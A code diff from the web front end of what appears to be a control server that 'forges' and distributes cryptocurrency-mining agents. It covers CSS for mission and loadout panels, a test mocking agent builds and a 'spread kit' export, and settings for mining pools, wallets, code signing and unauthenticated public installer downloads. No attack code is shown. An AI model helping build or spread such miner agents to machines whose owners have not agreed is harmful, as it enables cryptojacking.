font-size: 0.68rem;
|
||||
|
||||
letter-spacing: 0.14em;
|
||||
|
||||
text-transform: uppercase;
|
||||
|
||||
color: var(--deck-accent);
|
||||
|
||||
padding-left: 0.15rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* ── LEFT: operation mode chips ── */
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chips {
|
||||
|
||||
display: flex;
|
||||
|
||||
flex-direction: column;
|
||||
|
||||
gap: 0.55rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip {
|
||||
|
||||
position: relative;
|
||||
|
||||
display: flex;
|
||||
|
||||
align-items: flex-start;
|
||||
|
||||
gap: 0.65rem;
|
||||
|
||||
width: 100%;
|
||||
|
||||
padding: 0.85rem 0.75rem;
|
||||
|
||||
border-radius: 10px;
|
||||
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
|
||||
background: rgba(0, 0, 0, 0.38);
|
||||
|
||||
cursor: pointer;
|
||||
|
||||
text-align: left;
|
||||
|
||||
color: inherit;
|
||||
|
||||
font: inherit;
|
||||
|
||||
transition:
|
||||
|
||||
transform 0.22s ease,
|
||||
|
||||
border-color 0.25s ease,
|
||||
|
||||
box-shadow 0.3s ease,
|
||||
|
||||
background 0.25s ease;
|
||||
|
||||
overflow: hidden;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip:hover:not(:disabled) {
|
||||
|
||||
transform: translateX(4px);
|
||||
|
||||
border-color: rgba(255, 255, 255, 0.22);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip.selected {
|
||||
|
||||
border-color: var(--chip-accent, var(--deck-accent));
|
||||
|
||||
background: color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 10%, rgba(0, 0, 0, 0.45));
|
||||
|
||||
box-shadow:
|
||||
|
||||
0 0 22px color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 30%, transparent),
|
||||
|
||||
inset 0 0 0 1px color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 25%, transparent);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip:disabled {
|
||||
|
||||
opacity: 0.55;
|
||||
|
||||
cursor: not-allowed;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-icon {
|
||||
|
||||
font-size: 1.35rem;
|
||||
|
||||
line-height: 1;
|
||||
|
||||
flex-shrink: 0;
|
||||
|
||||
filter: drop-shadow(0 0 6px var(--chip-accent, var(--deck-accent)));
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-body {
|
||||
|
||||
display: flex;
|
||||
|
||||
flex-direction: column;
|
||||
|
||||
gap: 0.2rem;
|
||||
|
||||
min-width: 0;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-label {
|
||||
|
||||
font-family: var(--font-tech, monospace);
|
||||
|
||||
font-size: 0.82rem;
|
||||
|
||||
letter-spacing: 0.06em;
|
||||
|
||||
text-transform: uppercase;
|
||||
|
||||
color: var(--chip-accent, var(--deck-accent));
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-blurb {
|
||||
|
||||
font-size: 0.7rem;
|
||||
|
||||
color: var(--text-secondary);
|
||||
|
||||
line-height: 1.35;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-chip-glow {
|
||||
|
||||
position: absolute;
|
||||
|
||||
inset: 0;
|
||||
|
||||
pointer-events: none;
|
||||
|
||||
opacity: 0;
|
||||
|
||||
transition: opacity 0.3s ease;
|
||||
|
||||
background: linear-gradient(
|
||||
|
||||
105deg,
|
||||
|
||||
transparent 40%,
|
||||
|
||||
color-mix(in srgb, var(--chip-accent, var(--deck-accent)) 18%, transparent) 100%
|
||||
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-mode-chip.selected .loadout-chip-glow {
|
||||
|
||||
opacity: 1;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-forge-hint {
|
||||
|
||||
margin: 0.25rem 0 0;
|
||||
|
||||
font-size: 0.75rem;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* ── CENTER: 3D preview stage ── */
|
||||
|
||||
|
||||
|
||||
.loadout-preview-card {
|
||||
|
||||
text-align: center;
|
||||
|
||||
padding: 1.25rem 1rem 1.5rem;
|
||||
|
||||
--preview-accent: var(--deck-accent);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-stage {
|
||||
|
||||
position: relative;
|
||||
|
||||
height: 180px;
|
||||
|
||||
margin: 0 auto 1.25rem;
|
||||
|
||||
max-width: 260px;
|
||||
|
||||
display: flex;
|
||||
|
||||
align-items: center;
|
||||
|
||||
justify-content: center;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-ring {
|
||||
|
||||
position: absolute;
|
||||
|
||||
inset: 0;
|
||||
|
||||
border-radius: 50%;
|
||||
|
||||
border: 2px solid color-mix(in srgb, var(--preview-accent) 45%, transparent);
|
||||
|
||||
box-shadow:
|
||||
|
||||
0 0 30px color-mix(in srgb, var(--preview-accent) 35%, transparent),
|
||||
|
||||
inset 0 0 24px color-mix(in srgb, var(--preview-accent) 15%, transparent);
|
||||
|
||||
animation: loadout-ring-spin 18s linear infinite;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-ring::before {
|
||||
|
||||
content: '';
|
||||
|
||||
position: absolute;
|
||||
|
||||
inset: 12px;
|
||||
|
||||
border-radius: 50%;
|
||||
|
||||
border: 1px dashed color-mix(in srgb, var(--preview-accent) 30%, transparent);
|
||||
|
||||
animation: loadout-ring-spin 12s linear infinite reverse;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-avatar {
|
||||
|
||||
position: relative;
|
||||
|
||||
z-index: 1;
|
||||
|
||||
width: 96px;
|
||||
|
||||
height: 96px;
|
||||
|
||||
border-radius: 16px;
|
||||
|
||||
display: flex;
|
||||
|
||||
align-items: center;
|
||||
|
||||
justify-content: center;
|
||||
|
||||
background: linear-gradient(
|
||||
|
||||
145deg,
|
||||
|
||||
color-mix(in srgb, var(--preview-accent) 22%, rgba(0, 0, 0, 0.6)),
|
||||
|
||||
rgba(0, 0, 0, 0.75)
|
||||
|
||||
);
|
||||
|
||||
border: 1px solid color-mix(in srgb, var(--preview-accent) 50%, transparent);
|
||||
|
||||
box-shadow: 0 0 28px color-mix(in srgb, var(--preview-accent) 40%, transparent);
|
||||
|
||||
transform: perspective(600px) rotateX(8deg);
|
||||
|
||||
transition: transform 0.4s cubic-bezier(0.23, 1, 0.32, 1);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-card:hover .loadout-preview-avatar {
|
||||
|
||||
transform: perspective(600px) rotateX(4deg) translateY(-6px) scale(1.04);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-sigil {
|
||||
|
||||
font-size: 2.4rem;
|
||||
|
||||
color: var(--preview-accent);
|
||||
|
||||
text-shadow: 0 0 16px var(--preview-accent);
|
||||
|
||||
animation: loadout-sigil-pulse 2.8s ease-in-out infinite;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loadout-preview-scanlines {
|
||||
|
||||
position: absolute;
|
||||
|
||||
inset: 0;
|
||||
|
||||
border-radius: 50%;
|
||||
|
||||
pointer-events: none;
|
||||
|
||||
background: repeating-linear-gradient(
|
||||
|
||||
0deg,
|
||||
|
||||
transparent,
|
||||
|
||||
transparent 3px,
|
||||
|
||||
rgba(0, 0, 0, 0.06) 3px,
|
||||
|
||||
rgba(0, 0, 0, 0.06) 4px
|
||||
|
||||
);
|
||||
|
||||
107
server/web/src/pages/MissionDeckPage.test.tsx
Normal file
107
server/web/src/pages/MissionDeckPage.test.tsx
Normal file
@@ -0,0 +1,107 @@
|
||||
/**
|
||||
|
||||
* @vitest-environment happy-dom
|
||||
|
||||
*/
|
||||
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
|
||||
import userEvent from '@testing-library/user-event';
|
||||
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
|
||||
import MissionDeckPage from './MissionDeckPage';
|
||||
|
||||
import { ForgeProvider } from '../context/ForgeContext';
|
||||
|
||||
import { routerFuture } from '../routerFuture';
|
||||
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
import { api } from '../api/client';
|
||||
|
||||
|
||||
|
||||
vi.mock('../context/PresenceContext', () => ({
|
||||
|
||||
usePresence: () => ({
|
||||
|
||||
othersOnPage: [],
|
||||
|
||||
comrades: [],
|
||||
|
||||
comradesHere: () => [],
|
||||
|
||||
othersOnline: false,
|
||||
|
||||
}),
|
||||
|
||||
}));
|
||||
|
||||
|
||||
|
||||
function renderMissionDeck() {
|
||||
|
||||
return render(
|
||||
|
||||
<MemoryRouter initialEntries={['/mission-deck']} future={routerFuture}>
|
||||
|
||||
<ForgeProvider>
|
||||
|
||||
<MissionDeckPage />
|
||||
|
||||
</ForgeProvider>
|
||||
|
||||
</MemoryRouter>,
|
||||
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
describe('MissionDeckPage', () => {
|
||||
|
||||
beforeEach(() => {
|
||||
|
||||
vi.clearAllMocks();
|
||||
|
||||
localStorage.clear();
|
||||
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
|
||||
vi.spyOn(api, 'buildAgent').mockResolvedValue({
|
||||
|
||||
success: true,
|
||||
|
||||
build_id: 'deck-build-1',
|
||||
|
||||
file_name: 'worker-deck.exe',
|
||||
|
||||
file_size: 4096,
|
||||
|
||||
download_url: '/api/v1/builds/deck-build-1/download',
|
||||
|
||||
});
|
||||
|
||||
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
|
||||
|
||||
vi.stubGlobal('navigator', {
|
||||
|
||||
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
|
||||
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
afterEach(() => {
|
||||
|
||||
vi.unstubAllGlobals();
|
||||
1222
server/web/src/pages/MissionDeckPage.tsx
Normal file
1222
server/web/src/pages/MissionDeckPage.tsx
Normal file
File diff suppressed because it is too large
Load Diff
@@ -1756,6 +1756,237 @@ button.deliverable-card .form-hint {
|
||||
color: #f5a623 !important;
|
||||
}
|
||||
|
||||
/* Forge mission ritual wizard (simple mode) */
|
||||
.forge-mission-wizard {
|
||||
margin-bottom: 1rem;
|
||||
padding: 1rem 1.25rem;
|
||||
border: 1px solid rgba(61, 214, 198, 0.35);
|
||||
background: rgba(61, 214, 198, 0.06);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pills {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.4rem;
|
||||
margin: 0.75rem 0 1rem;
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
padding: 0.3rem 0.75rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.14);
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.78rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
cursor: pointer;
|
||||
transition: border-color 0.2s, box-shadow 0.2s, color 0.2s, background 0.2s;
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill:hover:not(:disabled) {
|
||||
border-color: rgba(61, 214, 198, 0.55);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
box-shadow: 0 0 14px rgba(61, 214, 198, 0.22);
|
||||
background: rgba(61, 214, 198, 0.08);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill.done {
|
||||
border-color: rgba(74, 222, 128, 0.45);
|
||||
color: var(--neon-green, #6f6);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill.active {
|
||||
border-color: rgba(61, 214, 198, 0.65);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
box-shadow: 0 0 16px rgba(61, 214, 198, 0.28);
|
||||
background: rgba(61, 214, 198, 0.1);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill:disabled {
|
||||
opacity: 0.55;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.forge-mission-wizard-pill-num {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 1.15rem;
|
||||
height: 1.15rem;
|
||||
border-radius: 50%;
|
||||
font-size: 0.68rem;
|
||||
background: rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.forge-mission-wizard-panel {
|
||||
min-height: 4.5rem;
|
||||
}
|
||||
|
||||
.forge-mission-wizard-nav {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
margin-top: 0.85rem;
|
||||
}
|
||||
|
||||
.forge-mission-chip-grid {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.forge-mission-op-chip {
|
||||
min-width: 6.5rem;
|
||||
padding: 0.55rem 0.85rem;
|
||||
border-radius: 10px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.14);
|
||||
background: rgba(0, 0, 0, 0.3);
|
||||
color: var(--text-secondary);
|
||||
font-family: var(--font-tech, monospace);
|
||||
font-size: 0.82rem;
|
||||
cursor: pointer;
|
||||
text-align: left;
|
||||
transition: border-color 0.2s, box-shadow 0.2s, color 0.2s, background 0.2s;
|
||||
}
|
||||
|
||||
.forge-mission-op-chip:hover:not(:disabled) {
|
||||
box-shadow: 0 0 18px rgba(61, 214, 198, 0.18);
|
||||
}
|
||||
|
||||
.forge-mission-op-chip.active {
|
||||
background: rgba(0, 0, 0, 0.45);
|
||||
}
|
||||
|
||||
.forge-mission-op-chip strong {
|
||||
display: block;
|
||||
margin-bottom: 0.15rem;
|
||||
}
|
||||
|
||||
.forge-mission-op-chip span {
|
||||
display: block;
|
||||
font-size: 0.7rem;
|
||||
opacity: 0.75;
|
||||
line-height: 1.3;
|
||||
}
|
||||
|
||||
.forge-mission-banner {
|
||||
margin-bottom: 1rem;
|
||||
padding: 1rem 1.25rem;
|
||||
border: 1px solid rgba(61, 214, 198, 0.35);
|
||||
background: rgba(61, 214, 198, 0.06);
|
||||
}
|
||||
|
||||
.forge-mission-banner .font-tech {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.forge-mission-steps {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem 0.5rem;
|
||||
margin: 0.75rem 0;
|
||||
font-size: 0.78rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
.forge-mission-step {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
padding: 0.2rem 0.55rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.forge-mission-step.done {
|
||||
border-color: rgba(74, 222, 128, 0.45);
|
||||
color: var(--neon-green, #6f6);
|
||||
}
|
||||
|
||||
.forge-mission-step.active {
|
||||
border-color: rgba(61, 214, 198, 0.55);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
box-shadow: 0 0 12px rgba(61, 214, 198, 0.2);
|
||||
}
|
||||
|
||||
.forge-mission-step:hover {
|
||||
box-shadow: 0 0 10px rgba(61, 214, 198, 0.15);
|
||||
}
|
||||
|
||||
.forge-mission-step.skipped {
|
||||
border-color: rgba(255, 255, 255, 0.08);
|
||||
color: #666;
|
||||
text-decoration: line-through;
|
||||
}
|
||||
|
||||
.forge-mission-step.error {
|
||||
border-color: rgba(248, 113, 113, 0.55);
|
||||
color: var(--neon-red, #f55);
|
||||
}
|
||||
|
||||
.forge-mission-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: flex-end;
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
.forge-mission-modal-backdrop {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(0, 0, 0, 0.75);
|
||||
backdrop-filter: blur(4px);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 2000;
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.forge-mission-modal {
|
||||
background: #0e1117;
|
||||
border: 1px solid rgba(61, 214, 198, 0.35);
|
||||
border-radius: 14px;
|
||||
box-shadow: 0 0 60px rgba(61, 214, 198, 0.15);
|
||||
padding: 1.5rem;
|
||||
max-width: 640px;
|
||||
width: 100%;
|
||||
max-height: 90vh;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.forge-mission-modal h3 {
|
||||
margin: 0 0 0.5rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
}
|
||||
|
||||
.forge-mission-link-block {
|
||||
margin-bottom: 0.85rem;
|
||||
}
|
||||
|
||||
.forge-mission-link-block p {
|
||||
margin: 0 0 0.25rem;
|
||||
font-size: 0.75rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.forge-mission-link-block code {
|
||||
display: block;
|
||||
font-size: 0.72rem;
|
||||
word-break: break-all;
|
||||
padding: 0.5rem 0.65rem;
|
||||
background: rgba(0, 0, 0, 0.45);
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 6px;
|
||||
}
|
||||
|
||||
@media (max-width: 700px) {
|
||||
.rvn-gauges {
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, PathTraceHop } from '../types';
|
||||
import './PathTracerPage.css';
|
||||
@@ -35,6 +36,7 @@ function QRModal({
|
||||
onClose: () => void;
|
||||
onEnd: () => void;
|
||||
}) {
|
||||
useModalAmbientDuck(true);
|
||||
const [copied, setCopied] = useState(false);
|
||||
|
||||
const handleCopy = () => {
|
||||
@@ -203,7 +205,7 @@ export default function PathTracerPage() {
|
||||
const allHopsReady = hops.length > 0 && hops.every((h) => h.status === 'ready');
|
||||
|
||||
return (
|
||||
<div className="pathtrace-page">
|
||||
<div className="pathtrace-page operator-deck-page">
|
||||
{/* Header */}
|
||||
<div className="pt-header">
|
||||
<div>
|
||||
|
||||
@@ -146,6 +146,24 @@ describe('SettingsPage (Calibrate)', () => {
|
||||
expect(await screen.findByText('User "operator" added successfully!')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('edits Emberwake public builds settings', async () => {
|
||||
const user = userEvent.setup();
|
||||
renderSettings();
|
||||
const latestInput = await screen.findByLabelText(/latest n on login drawer/i);
|
||||
expect((latestInput as HTMLInputElement).value).toBe('3');
|
||||
const enableCheckbox = screen.getByRole('checkbox', { name: /expose all builds on public api/i });
|
||||
expect((enableCheckbox as HTMLInputElement).checked).toBe(false);
|
||||
await user.click(enableCheckbox);
|
||||
expect((enableCheckbox as HTMLInputElement).checked).toBe(true);
|
||||
await user.click(screen.getByRole('button', { name: /save calibration/i }));
|
||||
await waitFor(() => {
|
||||
expect(api.updateConfig).toHaveBeenCalled();
|
||||
});
|
||||
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
|
||||
expect(saved?.server?.public_builds_enabled).toBe(true);
|
||||
expect(saved?.server?.public_builds_latest_n).toBe(3);
|
||||
});
|
||||
|
||||
it('describes first-run admin credentials in Access Control help', async () => {
|
||||
renderSettings();
|
||||
expect(
|
||||
|
||||
@@ -17,11 +17,19 @@ import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import type { BackupPool } from '../types';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
|
||||
import FleetRuntimePanel from '../components/Fleet/FleetRuntimePanel';
|
||||
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { useAmbientMusic } from '../context/AmbientMusicContext';
|
||||
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
|
||||
import { useVisualEffects } from '../context/VisualEffectsContext';
|
||||
import {
|
||||
FORGE_SKIN_IDS,
|
||||
loadStoredForgeTheme,
|
||||
storeForgeTheme,
|
||||
type ForgeSkinId,
|
||||
type ForgeThemeOverride,
|
||||
} from '../help/forgeOperationModes';
|
||||
import './Pages.css';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
@@ -62,6 +70,7 @@ export default function SettingsPage() {
|
||||
} = useSound();
|
||||
const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
|
||||
const { glowParticles, setGlowParticles } = useVisualEffects();
|
||||
const [forgeTheme, setForgeTheme] = useState<ForgeThemeOverride>(loadStoredForgeTheme);
|
||||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
@@ -121,6 +130,8 @@ export default function SettingsPage() {
|
||||
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
|
||||
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
|
||||
open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
|
||||
public_builds_enabled: cfg.server?.public_builds_enabled ?? false,
|
||||
public_builds_latest_n: cfg.server?.public_builds_latest_n ?? 3,
|
||||
},
|
||||
});
|
||||
setServerInfo(info);
|
||||
@@ -301,7 +312,7 @@ export default function SettingsPage() {
|
||||
|
||||
if (loading) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SERVER ONLY</p>
|
||||
@@ -315,7 +326,7 @@ export default function SettingsPage() {
|
||||
|
||||
if (!config) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<NeonCard accent="brass"><p>Failed to load server configuration.</p></NeonCard>
|
||||
</div>
|
||||
);
|
||||
@@ -340,10 +351,12 @@ export default function SettingsPage() {
|
||||
sign_cert_thumbprint: '',
|
||||
sign_tool_path: '',
|
||||
sign_timestamp_url: 'http://timestamp.digicert.com',
|
||||
public_builds_enabled: false,
|
||||
public_builds_latest_n: 3,
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<div className="page fade-in command-deck operator-deck-page">
|
||||
<input type="file" ref={fileInputRef} style={{ display: 'none' }} accept=".json" onChange={handleFileSelected} />
|
||||
|
||||
<header className="deck-hero">
|
||||
@@ -379,7 +392,7 @@ export default function SettingsPage() {
|
||||
)}
|
||||
|
||||
{serverInfo && (
|
||||
<NeonCard accent="cyan" className="calibrate-banner" hud>
|
||||
<NeonCard accent="cyan" className="calibrate-banner operator-deck-card operator-interactive" hud>
|
||||
<p className="font-tech">DETECTED LAN ENDPOINTS</p>
|
||||
<p><strong>Suggested:</strong> <code className="mono-sm">{serverInfo.suggested_url}</code></p>
|
||||
{serverInfo.local_ips?.length > 0 && (
|
||||
@@ -426,7 +439,7 @@ export default function SettingsPage() {
|
||||
)}
|
||||
|
||||
<div className="settings-grid">
|
||||
<NeonCard accent="cyan" className="settings-section">
|
||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Deck Atmosphere</h2>
|
||||
<p className="section-desc">
|
||||
Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
|
||||
@@ -443,9 +456,43 @@ export default function SettingsPage() {
|
||||
<span>Glow particles & sparkles</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginTop: '1.25rem' }}>
|
||||
<label htmlFor="cfg-forge-theme" className="label">
|
||||
Forge theme
|
||||
</label>
|
||||
<p className="section-desc" style={{ marginBottom: '0.5rem' }}>
|
||||
Seasonal forge chrome on The Forge page. Auto follows the selected operation mode preset;
|
||||
pick a skin to override.
|
||||
</p>
|
||||
<select
|
||||
id="cfg-forge-theme"
|
||||
className="select"
|
||||
value={forgeTheme}
|
||||
onChange={(e) => {
|
||||
const next = e.target.value as ForgeThemeOverride;
|
||||
setForgeTheme(next);
|
||||
storeForgeTheme(next);
|
||||
}}
|
||||
>
|
||||
<option value="auto">Auto (follow operation mode)</option>
|
||||
{FORGE_SKIN_IDS.map((id: ForgeSkinId) => (
|
||||
<option key={id} value={id}>
|
||||
{id === 'aether'
|
||||
? 'Default Aether'
|
||||
: id === 'halloween'
|
||||
? 'Halloween'
|
||||
: id === 'ghost'
|
||||
? 'Ghost Walk'
|
||||
: id === 'wildfire'
|
||||
? 'Wildfire'
|
||||
: 'Crucible Storm'}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="green" className="settings-section">
|
||||
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Sound & Haptics</h2>
|
||||
<p className="section-desc">
|
||||
Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere
|
||||
@@ -582,7 +629,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Control Server</h2>
|
||||
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
|
||||
<div className="form-row">
|
||||
@@ -647,7 +694,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="cyan" className="settings-section">
|
||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Upstream Pool</h2>
|
||||
<p className="section-desc">The control server connects here and relays work to your fleet. Pick presets or add your own — unreachable pools are skipped automatically.</p>
|
||||
<PoolPresetPicker
|
||||
@@ -684,7 +731,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="purple" className="settings-section">
|
||||
<NeonCard accent="purple" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Fleet Payout Wallet</h2>
|
||||
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
||||
<div className="form-group">
|
||||
@@ -708,7 +755,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
|
||||
<p className="section-desc">
|
||||
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
|
||||
@@ -770,7 +817,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Fleet Alerts</h2>
|
||||
<p className="section-desc">Dashboard thresholds for agent health.</p>
|
||||
<div className="form-group">
|
||||
@@ -792,7 +839,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Alert Notifications</h2>
|
||||
<p className="section-desc">
|
||||
Telegram, optional webhook, and email for fleet events (operator pub/sub — MITRE T1071.005 lite).
|
||||
@@ -931,7 +978,42 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Emberwake / Public Builds</h2>
|
||||
<p className="section-desc">
|
||||
Control which forged installers appear on the login-page public builds drawer and unauthenticated{' '}
|
||||
<code className="mono-sm">/api/v1/public/builds</code> API. Mark individual builds public in Builds, or
|
||||
enable all-builds mode below.
|
||||
</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={s.public_builds_enabled ?? false}
|
||||
onChange={(e) => updateField('server.public_builds_enabled', e.target.checked)}
|
||||
/>
|
||||
<span>Expose all builds on public API (no login)</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-public-latest-n" className="label">Latest N on login drawer</label>
|
||||
<input
|
||||
id="cfg-public-latest-n"
|
||||
type="number"
